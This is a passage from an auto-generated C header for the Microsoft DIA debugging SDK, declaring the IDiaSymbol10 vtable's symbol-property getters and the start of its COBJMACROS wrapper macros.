IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAggregated )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSplitted )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_container )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlSpec )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noStackOrdering )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_virtualBaseTableType )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasManagedCode )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHotpatchable )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCVTCIL )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMSILNetmodule )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCTypes )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStripped )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frontEndQFE )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_backEndQFE )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_wasInlined )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_strictGSCheck )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isCxxReturnUdt )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isConstructorVirtualBase )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_RValueReference )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedType )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePointerPresent )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSafeBuffers )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_intrinsic )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sealed )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaFloat )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hfaDouble )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressSection )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartAddressOffset )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeStartRelativeVirtualAddress )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_countLiveRanges )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_liveRangeLength )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_offsetInUdt )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_paramBasePointerRegisterId )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_localBasePointerRegisterId )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isLocationControlFlowDependent )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_stride )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRows )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfColumns )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMatrixRowMajor )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_numericProperties )( \n            IDiaSymbol10 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ DWORD *pProperties);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_modifierValues )( \n            IDiaSymbol10 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ WORD *pModifiers);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isReturnValue )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedAway )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_builtInKind )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_registerType )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataSlot )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseDataOffset )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_textureSlot )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_samplerSlot )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_uavSlot )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_sizeInUdt )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_memorySpaceKind )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_unmodifiedTypeId )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subTypeId )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_subType )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfModifiers )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfRegisterIndices )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isHLSLData )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToDataMember )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerToMemberFunction )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSingleInheritance )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isMultipleInheritance )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isVirtualInheritance )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_restrictedType )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPointerBasedOnSymbolValue )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbol )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_baseSymbolId )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_objectFileName )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorGroupSharedLocal )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorPointerTagLiveRange )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isAcceleratorStubFunction )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_numberOfAcceleratorPointerTags )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSdl )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isWinRTPointer )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRefUdt )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isValueUdt )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isInterfaceUdt )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByAddr )( \n            IDiaSymbol10 * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByRVA )( \n            IDiaSymbol10 * This,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineFramesByVA )( \n            IDiaSymbol10 * This,\n            /* [in] */ ULONGLONG va,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLines )( \n            IDiaSymbol10 * This,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByAddr )( \n            IDiaSymbol10 * This,\n            /* [in] */ DWORD isect,\n            /* [in] */ DWORD offset,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByRVA )( \n            IDiaSymbol10 * This,\n            /* [in] */ DWORD rva,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInlineeLinesByVA )( \n            IDiaSymbol10 * This,\n            /* [in] */ ULONGLONG va,\n            /* [in] */ DWORD length,\n            /* [out] */ IDiaEnumLineNumbers **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolsForAcceleratorPointerTag )( \n            IDiaSymbol10 * This,\n            /* [in] */ DWORD tagValue,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *findSymbolsByRVAForAcceleratorPointerTag )( \n            IDiaSymbol10 * This,\n            /* [in] */ DWORD tagValue,\n            /* [in] */ DWORD rva,\n            /* [out] */ IDiaEnumSymbols **ppResult);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_acceleratorPointerTags )( \n            IDiaSymbol10 * This,\n            /* [in] */ DWORD cnt,\n            /* [out] */ DWORD *pcnt,\n            /* [size_is][out] */ DWORD *pPointerTags);\n        \n        HRESULT ( STDMETHODCALLTYPE *getSrcLineOnTypeDefn )( \n            IDiaSymbol10 * This,\n            /* [out] */ IDiaLineNumber **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isPGO )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasValidPGOCounts )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isOptimizedForSpeed )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEntryCount )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGOEdgeCount )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_PGODynamicInstructionCount )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_staticSize )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_finalLiveStaticSize )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_phaseName )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BSTR *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasControlFlowCheck )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_constantExport )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_dataExport )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_privateExport )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noNameExport )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportHasExplicitlyAssignedOrdinal )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exportIsForwarder )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_ordinal )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_frameSize )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressSection )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerAddressOffset )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerRelativeVirtualAddress )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_exceptionHandlerVirtualAddress )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *findInputAssemblyFile )( \n            IDiaSymbol10 * This,\n            /* [out] */ IDiaInputAssemblyFile **ppResult);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_characteristics )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coffGroup )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindID )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSpace )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_bindSlot )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCClass )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCCategory )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isObjCProtocol )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlinee )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ IDiaSymbol **pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_inlineeId )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_noexcept )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_hasAbsoluteAddress )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isStaticMemberFunc )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isSignRet )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_coroutineKind )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolKind )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolSection )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolOffset )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolRva )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_associatedSymbolAddr )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ ULONGLONG *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePadSize )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_framePadOffset )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ DWORD *pRetVal);\n        \n        /* [id][helpstring][propget] */ HRESULT ( STDMETHODCALLTYPE *get_isRTCs )( \n            IDiaSymbol10 * This,\n            /* [retval][out] */ BOOL *pRetVal);\n        \n        HRESULT ( STDMETHODCALLTYPE *get_sourceLink )( \n            IDiaSymbol10 * This,\n            /* [in] */ DWORD cb,\n            /* [out] */ DWORD *pcb,\n            /* [size_is][out] */ BYTE *pb);\n        \n        END_INTERFACE\n    } IDiaSymbol10Vtbl;\n\n    interface IDiaSymbol10\n    {\n        CONST_VTBL struct IDiaSymbol10Vtbl *lpVtbl;\n    };\n\n    \n\n#ifdef COBJMACROS\n\n\n#define IDiaSymbol10_QueryInterface(This,riid,ppvObject)\t\\\n    ( (This)->lpVtbl -> QueryInterface(This,riid,ppvObject) ) \n\n#define IDiaSymbol10_AddRef(This)\t\\\n    ( (This)->lpVtbl -> AddRef(This) ) \n\n#define IDiaSymbol10_Release(This)\t\\\n    ( (This)->lpVtbl -> Release(This) ) \n\n\n#define IDiaSymbol10_get_symIndexId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symIndexId(This,pRetVal) ) \n\n#define IDiaSymbol10_get_symTag(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_symTag(This,pRetVal) ) \n\n#define IDiaSymbol10_get_name(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_name(This,pRetVal) ) \n\n#define IDiaSymbol10_get_lexicalParent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_lexicalParent(This,pRetVal) ) \n\n#define IDiaSymbol10_get_classParent(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_classParent(This,pRetVal) ) \n\n#define IDiaSymbol10_get_type(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_type(This,pRetVal) ) \n\n#define IDiaSymbol10_get_dataKind(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_dataKind(This,pRetVal) ) \n\n#define IDiaSymbol10_get_locationType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_locationType(This,pRetVal) ) \n\n#define IDiaSymbol10_get_addressSection(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressSection(This,pRetVal) ) \n\n#define IDiaSymbol10_get_addressOffset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_addressOffset(This,pRetVal) ) \n\n#define IDiaSymbol10_get_relativeVirtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_relativeVirtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol10_get_virtualAddress(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_virtualAddress(This,pRetVal) ) \n\n#define IDiaSymbol10_get_registerId(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_registerId(This,pRetVal) ) \n\n#define IDiaSymbol10_get_offset(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_offset(This,pRetVal) ) \n\n#define IDiaSymbol10_get_length(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_length(This,pRetVal) ) \n\n#define IDiaSymbol10_get_slot(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_slot(This,pRetVal) ) \n\n#define IDiaSymbol10_get_volatileType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_volatileType(This,pRetVal) ) \n\n#define IDiaSymbol10_get_constType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_constType(This,pRetVal) ) \n\n#define IDiaSymbol10_get_unalignedType(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_unalignedType(This,pRetVal) ) \n\n#define IDiaSymbol10_get_access(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_access(This,pRetVal) ) \n\n#define IDiaSymbol10_get_libraryName(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_libraryName(This,pRetVal) ) \n\n#define IDiaSymbol10_get_platform(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_platform(This,pRetVal) ) \n\n#define IDiaSymbol10_get_language(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_language(This,pRetVal) ) \n\n#define IDiaSymbol10_get_editAndContinueEnabled(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_editAndContinueEnabled(This,pRetVal) ) \n\n#define IDiaSymbol10_get_frontEndMajor(This,pRetVal)\t\\\n    ( (This)->lpVtbl -> get_frontEndMajor(This,pRetVal) ) \n\n#define 